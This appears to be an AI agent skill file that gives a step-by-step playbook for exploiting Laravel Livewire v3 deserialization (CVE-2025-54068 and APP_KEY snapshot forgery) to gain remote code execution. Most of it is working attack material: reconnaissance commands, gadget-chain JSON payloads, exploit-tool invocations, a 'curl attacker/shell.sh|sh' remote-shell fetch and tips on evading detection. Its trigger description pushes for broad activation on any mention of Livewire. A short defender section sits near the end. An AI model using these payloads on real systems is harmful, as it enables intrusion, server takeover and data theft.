| name | livewire-hydration-exploitation |
| description | Exploit Laravel Livewire v3 deserialization vulnerabilities for RCE. Use this skill whenever the user mentions Livewire, Laravel, deserialization attacks, CVE-2025-54068, Livewire snapshots, hydration abuse, or any web application using Livewire v3. Trigger even if the user just says "test this Livewire app" or "check for deserialization" on a Laravel site. |
Laravel Livewire Hydration & Synthesizer Abuse
A skill for exploiting Laravel Livewire v3 deserialization vulnerabilities to achieve remote code execution (RCE).
Overview
Livewire 3 components exchange state through snapshots containing data, memo, and a checksum. The hydration system uses synthetic tuples to encode complex properties, delegating to synthesizers that can instantiate arbitrary classes. This creates a generic object-instantiation engine exploitable for RCE.
Two Attack Paths
- With APP_KEY: Forge arbitrary snapshots by recomputing HMAC checksums
- CVE-2025-54068 (No APP_KEY): Abuse
updates merging after checksum validation (affects v3.0.0-beta.1 to v3.6.2)
Prerequisites
- Target running Laravel with Livewire v3
- Access to
/livewire/update endpoint
- For APP_KEY path: knowledge of
APP_KEY (base64 encoded)
- For CVE path: a Livewire component with untyped public properties
Reconnaissance
1. Identify Livewire Version
curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'
Map the hash to vulnerable releases:
- v3.0.0-beta.1 to v3.6.2: Vulnerable to CVE-2025-54068
- All v3 versions: Vulnerable if APP_KEY is known
2. Capture Baseline Request
curl -X POST https://target.com/livewire/update \
-H "Content-Type: application/json" \
-H "X-Livewire: true" \
-d '{"components":[],"updates":{},"fingerprint":{}}' \
--trace-ascii -
Extract components[0].snapshot for analysis.
Attack Path 1: With APP_KEY (Snapshot Forgery)
Step 1: Decode the Snapshot
python3 -c "
import json, base64
with open('request.json') as f:
data = json.load(f)
snapshot = data['components'][0]['snapshot']
print(json.dumps(snapshot, indent=2))
"
Step 2: Inject Gadget Tuples
The exploit uses synthesizer tuples to instantiate gadget objects:
| Synthesizer | Key | Behavior |
|---|
| CollectionSynth | clctn | new $meta['class']($value) |
| FormObjectSynth | form | new $meta['class']($component, $path) |
| ModelSynth | mdl | new $class (zero-arg) |
Step 3: Use laravel-crypto-killer
./laravel_crypto_killer.py exploit -e livewire \
-k base64:APP_KEY \
-j request.json \
--function system \
-p "bash -c 'id'"
The tool:
- Parses the captured snapshot
- Injects gadget tuples (Guzzle FnStream + Flysystem chain)
- Recomputes the HMAC checksum
- Outputs a ready-to-send payload
Step 4: Replay the Forged Request
curl -X POST https://target.com/livewire/update \
-H "Content-Type: application/json" \
-H "X-CSRF-TOKEN: <token>" \
-d @forged_payload.json
Attack Path 2: CVE-2025-54068 (No APP_KEY)
Understanding the Vulnerability
updates are merged into component state after snapshot checksum validation. If a property becomes a synthetic tuple, Livewire reuses its metadata while hydrating attacker-controlled update values.
Step 1: Find Coercible Property
Look for untyped public properties in Livewire components:
class MyComponent extends Component {
public $count;
public $items;
}
Step 2: Force Tuple Creation
Send an update that coerces a property to an array:
{
"updates": {
"count": []
}
}
The next snapshot will store it as:
"count": [[], {"s": "arr"}]
Step 3: Inject Nested Gadget Tuples
Craft an update with deeply nested arrays containing gadget tuples:
{
"updates": {
"count": [
[
{"__toString": "phpinfo"},
{"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"}
],
{"s": "arr"}
]
}
}
Step 4: Use Livepyre (Automated)
python3 Livepyre.py -u https://target.com/livewire/component \
-f system -p id
python3 Livepyre.py -u https://target.com/livewire/component \
-a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
Livepyre features:
-c/--check: Non-destructive probe
-F: Skip version gating
-H: Custom headers
-P: Proxy support
--function/--param: Customize invoked function
Manual Payload Construction
Minimal RCE Chain
import json
fn_stream_tuple = [
{"__toString": "system", "__invoke": ["id"]},
{"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"}
]
queueable_tuple = [
{
"chained": [
"O:47:\"Illuminate\\Broadcasting\\BroadcastEvent\":2:{...}"
]
},
{"s": "clctn", "class": "Illuminate\\Queue\\CallQueuedHandler"}
]
payload = {
"updates": {
"target_property": [fn_stream_tuple, {"s": "arr"}]
}
}
Stealth Termination
Prevent noisy exceptions by adding exit callable:
{
"__invoke": ["exit"],
"__toString": "phpinfo"
}
Or use Laravel's Terminal:
{
"__invoke": ["exit"],
"class": "Laravel\\Prompts\\Terminal"
}
Gadget Chains
Available Chains
-
Guzzle FnStream + Flysystem
- Instantiates FnStream with
__toString callable
- Flysystem casts prefixes to string, invoking the callable
- Works for any zero-argument function
-
phpggc Laravel/RCE4Adapted
- Uses Queueable trait's
$chained property
- BroadcastEvent wrapper triggers deserialization
- PendingBroadcast -> Validator -> Signed closure
call_user_func_array($closure, $args) enables system($cmd)
Custom Gadget Discovery
Any class with:
- Array constructor (CollectionSynth)
- Two loosely-typed constructor params (FormObjectSynth)
- Zero-argument constructor (ModelSynth)
Can potentially be instantiated. Look for:
__toString, __invoke, __destruct magic methods
- Public properties that trigger code execution
- Traits like Queueable, SerializesModels
Defensive Considerations
For Defenders
- Upgrade immediately: Livewire >= 3.6.4
- Type all properties: Use explicit scalar types
public int $count;
public string $name;
- Minimize synthesizers: Register only needed ones
- Validate type changes: Reject scalar -> array updates
- Rotate APP_KEY: After any disclosure
For Pentesters
- Always check version before exploiting
- Use
-c/--check for non-destructive probing
- Document findings with proof-of-concept payloads
- Consider impact of noisy exceptions on detection
References
Quick Reference
python3 Livepyre.py -u https://target/livewire/component -f system -p id
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY -f system -p "whoami"
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY -j request.json --function system -p "id"
curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'
Test Cases
Use these prompts to verify skill functionality:
- "I found a Laravel app using Livewire v3.2.0, how do I check if it's vulnerable to CVE-2025-54068?"
- "I have the APP_KEY for a Livewire application, show me how to forge a snapshot for RCE"
- "Help me exploit a Livewire component with public $count property"
- "What's the difference between the APP_KEY and no-APP_KEY Livewire exploitation paths?"